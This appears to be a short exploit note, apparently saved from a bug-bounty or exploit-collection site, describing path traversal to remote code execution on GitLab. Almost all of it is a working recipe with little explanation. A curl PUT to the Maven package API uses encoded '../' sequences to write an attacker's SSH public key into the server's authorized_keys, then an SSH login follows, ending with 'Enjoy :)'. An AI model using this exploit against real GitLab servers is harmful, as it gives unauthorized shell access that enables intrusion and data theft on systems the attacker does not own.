🤬
f46b5405
ROOT /
Web /
RCE /
20220831 - Path traversal to RCE worth $12000 on GitLab.md
19 lines | UTF-8 | 925 bytes

Path traversal to RCE worth $12000 on GitLab 😳

1. Create project and private token

2. Send the following request

curl -H "Private-Token: $token" http://10.26.0.5/api/v4/projects/2/packages/maven/a%2fb%2fc%2fd%2fe%2ff%2fg%2fh%2fi%2f1/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f.ssh%2fauthorized_keys -XPUT --path-as-is --data-binary @/home/asakawa/.ssh/id_rsa.pub

3. $ ssh [email protected]

4. Enjoy :)

20220831-1.png

Credit

Based on saltyyolk's report.
 

Support

You can Follow me on twitter or

Buy Me A Coffee

Please wait...
Page is in error, reload to recover